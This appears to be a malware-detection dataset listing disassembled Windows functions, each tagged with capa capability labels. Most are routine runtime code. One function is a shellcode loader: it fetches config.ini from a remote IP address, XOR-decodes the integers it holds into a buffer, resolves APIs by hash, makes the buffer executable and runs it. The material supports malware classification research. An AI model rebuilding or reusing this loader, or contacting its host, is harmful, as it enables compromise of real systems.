joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001a19c
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x18001a1af
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.18001a7bc
lea rdx, [0x180084ad0]
lea rcx, [rsp + 0x20]
call fcn.1800364b0
int3

Function at 0x180025f20
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x18008ac68]
xor edx, edx
jmp fcn.18001a19c

Function at 0x1800268b8
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x18008ac68]
jmp fcn.18001a19c

Function at 0x180032508
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x1800325c4]
mov r9, qword [r9 + 8]
jmp fcn.1800223f4

Function at 0x18003259c
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x1800325d4]
mov r9, qword [r9 + 8]
jmp fcn.1800223f4

Function at 0x18004498c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x180044984
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.18003c500
or eax, 0xffffffff
jmp 0x180044986
xor eax, eax
add rsp, 0x28
ret
jmp 0x180044964
Function at 0x18004f8c8
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x18004f72e
call fcn.18003c570
mov dword [rax], 0x16
call fcn.180039364
mov eax, 0xffff
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x18004f710
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x18004f710
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x20]
shr ecx, 1
test cl, 1
je 0x18004f760
lock or dword [rax + 0x14], 0x10
jmp 0x18004f710
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x18004f77d
mov rcx, qword [rbp + 0x20]
call fcn.18005979c
mov rax, qword [rbp + 0x20]
cmp dword [rax + 0x10], 1
jne 0x18004f792
mov rcx, qword [rax]
mov sil, 1
mov r14b, byte [rcx]
jmp 0x18004f798
xor sil, sil
xor r14b, r14b
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x20]
mov rcx, rbx
call fcn.18004e2b4
mov rdx, qword [rbp + 0x20]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.18004efb4
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x20]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 2
ja 0x18004f7eb
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x20]
and dword [rax + 0x10], 0
jmp 0x18004f710
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x18004f857
mov rcx, qword [rbp + 0x20]
call fcn.18004e2b4
cmp eax, 0xffffffff
je 0x18004f83e
mov rcx, qword [rbp + 0x20]
call fcn.18004e2b4
cmp eax, 0xfffffffe
je 0x18004f83e
mov rbx, qword [rbp + 0x20]
mov rcx, rbx
call fcn.18004e2b4
movsxd rdi, eax
lea r15, [0x18008b2e0]
mov rcx, rbx
sar rdi, 6
call fcn.18004e2b4
and eax, 0x3f
shl rax, 6
add rax, qword [r15 + rdi*8]
jmp 0x18004f845
lea rax, [0x180087580]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x18004f857
mov rax, qword [rbp + 0x20]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x20]
cmp dword [rax + 0x20], 0x200
jne 0x18004f88d
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x18004f889
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x18004f889
mov rax, qword [rbp + 0x20]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
test sil, sil
je 0x18004f8ab
movzx edx, byte [rcx]
dec dword [rax + 0x10]
shl dx, 8
movzx ecx, r14b
or dx, cx
inc qword [rax]
jmp 0x18004f8b6
movzx edx, word [rcx]
add dword [rax + 0x10], 0xfffffffe
add qword [rax], 2
movzx eax, dx
jmp 0x18004f715
jmp 0x18004f6dc
Function at 0x180051580
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x18004f57c
call fcn.18003c570
mov dword [rax], 0x16
call fcn.180039364
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x18004f564
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x18004f564
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x18004f5ae
lock or dword [rax + 0x14], 0x10
jmp 0x18004f564
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x18004f5cb
mov rcx, qword [rbp + 0x10]
call fcn.18005979c
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.18004e2b4
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.18004efb4
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x18004f622
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x18004f564
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x18004f68e
mov rcx, qword [rbp + 0x10]
call fcn.18004e2b4
cmp eax, 0xffffffff
je 0x18004f675
mov rcx, qword [rbp + 0x10]
call fcn.18004e2b4
cmp eax, 0xfffffffe
je 0x18004f675
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.18004e2b4
movsxd rdi, eax
lea rsi, [0x18008b2e0]
mov rcx, rbx
sar rdi, 6
call fcn.18004e2b4
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x18004f67c
lea rax, [0x180087580]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x18004f68e
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x18004f6c4
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x18004f6c0
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x18004f6c0
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x18004f567
jmp 0x18004f534
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x18005155d
call fcn.18003c570
mov dword [rax], 0x16
call fcn.180039364
or eax, 0xffffffff
jmp 0x18005157a
sub dword [rcx + 0x10], 1
jns 0x18005156c
add rsp, 0x28
jmp 0x18004f8c0
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x18005153c
Function at 0x140001144
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
xor eax, eax
test rcx, rcx
je 0x140001178
mov word [rcx], ax
mov rdx, rcx
lea rcx, str._JAVA_VM_OPTIONS
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0x3fe
ja 0x140001178
mov eax, 1
jmp 0x14000117a
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001f0c
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rsi
push rdi
push r14
sub rsp, 0x270
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x140010018]
xor rax, rsp
mov qword [rsp + 0x260], rax
movsxd r14, edx
mov rsi, rcx
xor ebx, ebx
mov word [rcx], bx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test eax, eax
js 0x140001fd4
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140001634
mov rax, qword [rax]
test rax, rax
je 0x140001f81
mov r8, qword [rax]
jmp 0x140001f84
mov r8, rbx
mov rdx, r14
mov r9d, 0x104
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
lea rcx, [rsp + 0x30]
call fcn.1400016cc
nop
jmp 0x140001fa9
test edi, edi
setns bl
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140004ea0
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x270
pop r14
pop rdi
pop rsi
ret
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.140004b10
xor edx, edx
mov ecx, edi
call fcn.140006400
int3

Function at 0x140001ff4
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rsi
push rdi
push r14
sub rsp, 0x270
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x140010018]
xor rax, rsp
mov qword [rsp + 0x260], rax
movsxd r14, edx
mov rsi, rcx
xor ebx, ebx
mov word [rcx], bx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test eax, eax
js 0x1400020bc
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140001634
mov rax, qword [rax]
mov edx, eax
lea rcx, str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.140004b10
xor edx, edx
mov ecx, edi
call fcn.140006400
int3
Function at 0x140001160
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov rsi, qword [0x140083048]
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
je 0x1400011b9
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov ecx, 0x3e8
call r14
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
jne 0x1400011a0
mov rdi, qword [0x140083050]
mov eax, dword [rdi]
cmp eax, 1
jne 0x1400011d3
mov ecx, 0x1f
call fcn.140059cf0
jmp 0x1400011fa
cmp dword [rdi], 0
je 0x1400011e1
mov byte [0x1400a7490], 1
jmp 0x1400011fa
mov dword [rdi], 1
mov rcx, qword [0x140083068]
mov rdx, qword [0x140083070]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov eax, dword [rdi]
cmp eax, 1
jne 0x14000121a
mov rcx, qword [0x140083058]
mov rdx, qword [0x140083060]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rdi], 2
test bl, bl
je 0x140001223
xor eax, eax
xchg qword [rsi], rax
mov rax, qword [0x140083010]
mov rax, qword [rax]
test rax, rax
je 0x140001242
xor ecx, ecx
mov edx, 2
xor r8d, r8d
call qword [0x140091ce0]
call fcn.1400580d0
lea rcx, [0x140058650]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [0x140083040]
mov qword [rcx], rax
lea rcx, [0x140001390]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.1400580c0
movsxd rdi, dword [0x1400a747c]
lea rcx, [rdi*8 + 8]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rdi, rdi
jle 0x1400012d4
mov r14d, edi
mov r15, qword [0x1400a7480]
xor r12d, r12d
nop dword [rax + rax]
mov rdi, qword [r15 + r12*8]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rbx, [rax + 1]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rsi + r12*8], rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
inc r12
cmp r14, r12
jne 0x1400012a0
jmp 0x1400012d7
xor r14d, r14d
mov qword [rsi + r14*8], 0
mov qword [0x1400a7480], rsi
call fcn.140057f10
mov r8, qword [0x1400a7488]
mov rax, qword [0x140083018]
mov rax, qword [rax]
mov qword [rax], r8
mov ecx, dword [0x1400a747c]
mov rdx, qword [0x1400a7480]
call fcn.140001f10
mov dword [0x1400a7494], eax
cmp dword [0x1400a7474], 0
je 0x140001342
cmp byte [0x1400a7490], 0
jne 0x140001334
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x1400a7494]
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
int3
Function at 0x140001850
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], r8
mov qword [rsp], r9
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
mov rax, qword [rsp + 0x18]
mov qword [rax], rcx
mov rax, qword [rsp + 0x18]
mov rax, qword [rax]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000189f
mov dword [rsp + 0x24], 0
jmp 0x14000191d
mov rax, qword [rsp + 0x18]
mov rcx, qword [rax]
mov rax, qword [rsp + 0x18]
mov rax, qword [rax]
movsxd rax, dword [rax + 0x3c]
add rcx, rax
mov rax, qword [rsp + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x10]
mov rax, qword [rax]
cmp dword [rax], 0x4550
je 0x1400018df
mov dword [rsp + 0x24], 0
jmp 0x14000191d
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
mov rax, qword [rsp + 0x18]
mov rax, qword [rax]
movsxd rax, dword [rax + 0x3c]
add rcx, rax
add rcx, 4
mov rax, qword [rsp + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 8]
mov rcx, qword [rax]
add rcx, 0x14
mov rax, qword [rsp]
mov qword [rax], rcx
mov dword [rsp + 0x24], 1
mov eax, dword [rsp + 0x24]
add rsp, 0x28
ret
Function at 0x140001f10
Capabilities:
Read .ini file

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x30], rdx
mov dword [rbp - 0x34], ecx
call fcn.140057f10
mov ecx, dword [rbp - 0x34]
mov rdx, qword [rbp - 0x30]
mov dword [rbp + 0xac], 0
mov dword [rbp + 0xa8], ecx
mov qword [rbp + 0xa0], rdx
lea rax, str.http:__101.43.163.158:13339_config.ini
mov qword [rbp + 0x98], rax
lea rax, str.C:ProgramDataconfig.ini
mov qword [rbp + 0x90], rax
mov rcx, qword [rbp + 0x98]
mov rdx, qword [rbp + 0x90]
call fcn.140001bd0
lea rcx, [0x140083098]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x88], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x80], rax
mov rcx, qword [rbp + 0x88]
mov edx, 0x8790b48
call fcn.140001930
mov qword [rbp + 0x78], rax
mov rcx, qword [rbp + 0x80]
mov edx, 0x99a89755
call fcn.140001930
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x60], 0
mov ecx, 1
lea rdx, [rbp + 0x60]
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
mov edx, 0x640
call qword [rax + 0x18]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x28], rax
mov rcx, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rbp - 0x28]
mov rdx, rax
mov rax, qword [rbp - 0x20]
mov r8d, 0x40
lea r9, [rbp + 0x6c]
call rax
mov dword [rbp - 0x14], 0
cmp dword [rbp - 0x14], 0x640
jge 0x1400020a1
mov ecx, dword [rbp - 0x14]
lea rdx, [rbp - 0x10]
mov r8d, 0xa
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
lea rdx, [rbp - 0x10]
mov r9, qword [rbp + 0x90]
lea rcx, [0x140083177]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [rbp - 0x18], eax
cmp dword [rbp - 0x18], 0
jne 0x14000207e
jmp 0x1400020a1
mov eax, dword [rbp - 0x18]
xor eax, 0x400
mov dl, al
mov rax, qword [rbp + 0x58]
movsxd rcx, dword [rbp - 0x14]
mov byte [rax + rcx], dl
mov eax, dword [rbp - 0x14]
add eax, 1
mov dword [rbp - 0x14], eax
jmp 0x140002031
mov rax, qword [rbp + 0x78]
mov qword [rbp - 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp - 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, qword [rbp - 0x48]
mov rdx, rax
mov rax, qword [rbp - 0x40]
mov r8, qword [rbp + 0x58]
xor r9d, r9d
xor r10d, r10d
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 1
call rax
xor eax, eax
add rsp, 0x130
pop rbp
ret

Function at 0x140058580
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call fcn.14005dfc0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
int3
Function at 0x140059f20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
mov rdi, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rdi
lea rcx, str.libcabi:
mov edx, 0xb
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov ecx, 2
call rdi
mov r8, qword [rsp + 0x20]
mov rcx, rax
mov rdx, rsi
call fcn.14005dfc0
mov ecx, 2
call rdi
mov ecx, 0xa
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
int3

Function at 0x14005a780
Capabilities:
Query environment variable

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
mov rbx, rcx
call fcn.14005e090
test al, al
je 0x14005a7d3
mov r14, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r14
mov qword [rsp + 0x20], rsi
lea rdx, str.libunwind:__Unwind_SetGR_context_p__reg_d__value0x_0llx__n
mov rcx, rax
mov r8, rbx
mov r9d, edi
call fcn.14005dbd0
mov ecx, 2
call r14
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fflush
mov rcx, rbx
mov edx, edi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.14005e370

Function at 0x14005a860
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rdx
mov rdi, rcx
call fcn.14005e090
test al, al
je 0x14005a8a8
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, str.libunwind:__Unwind_SetIP_context_p__value0x_0llx__n
mov rcx, rax
mov r8, rdi
mov r9, rsi
call fcn.14005dbd0
mov ecx, 2
call rbx
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fflush
mov rcx, rdi
mov edx, 0xffffffff
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.14005e370

Function at 0x14005dd10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140083008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14005dd7b
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14005dd7b
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14005dd7b
movzx edx, word [rax + 6]
test edx, edx
je 0x14005dd7b
sub rcx, qword [0x140083008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x14005dd68
add rax, 0x28
dec edx
je 0x14005dd7b
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x14005dd60
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x14005dd60
ret
xor eax, eax
ret

Function at 0x14005dd80
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140083008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x14005ddb5
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x14005ddb5
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x14005ddb5
movzx eax, word [rcx + rdx + 6]
ret
Function at 0x14005de30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140083008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x14005de5c
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14005de5c
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x14005de5e
xor eax, eax
ret

Function at 0x14005dff0
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
cmp byte [0x1400a8d03], 1
jne 0x14005e011
cmp byte [0x1400a8d02], 0
jne 0x14005e030
jmp 0x14005e062
lea rcx, str.LIBUNWIND_PRINT_APIS
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov byte [0x1400a8d03], 1
test rax, rax
setne byte [0x1400a8d02]
je 0x14005e062
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, str.libunwind:___unw_init_local_cursor_p__context_p__n
mov rcx, rax
mov r8, rsi
mov r9, rdi
call fcn.14005dbd0
mov ecx, 2
call rbx
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fflush
lea r8, [0x1400a8218]
mov rcx, rsi
mov rdx, rdi
call fcn.14005e0e0
mov rax, qword [rsi]
mov rax, qword [rax + 0x68]
mov rcx, rsi
xor edx, edx
call qword [0x140091ce0]
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x14005e090
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
cmp byte [0x1400a8d03], 1
jne 0x14005e0ac
cmp byte [0x1400a8d02], 0
setne al
add rsp, 0x28
ret
lea rcx, str.LIBUNWIND_PRINT_APIS
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
test rax, rax
setne al
setne byte [0x1400a8d02]
mov byte [0x1400a8d03], 1
add rsp, 0x28
ret

Function at 0x14005e2b0
Capabilities:
Query environment variable

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
mov rbx, rcx
cmp byte [0x1400a8d03], 1
jne 0x14005e2d5
cmp byte [0x1400a8d02], 0
jne 0x14005e2f4
jmp 0x14005e32d
lea rcx, str.LIBUNWIND_PRINT_APIS
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov byte [0x1400a8d03], 1
test rax, rax
setne byte [0x1400a8d02]
je 0x14005e32d
mov r14, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r14
mov qword [rsp + 0x20], rsi
lea rdx, str.libunwind:___unw_get_reg_cursor_p__regNum_d__value_p__n
mov rcx, rax
mov r8, rbx
mov r9d, edi
call fcn.14005dbd0
mov ecx, 2
call r14
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fflush
mov rax, qword [rbx]
mov rax, qword [rax + 0x10]
mov rcx, rbx
mov edx, edi
call qword [0x140091ce0]
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x14005e361
mov rax, qword [rbx]
mov rax, qword [rax + 0x18]
mov rcx, rbx
mov edx, edi
call qword [0x140091ce0]
mov qword [rsi], rax
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret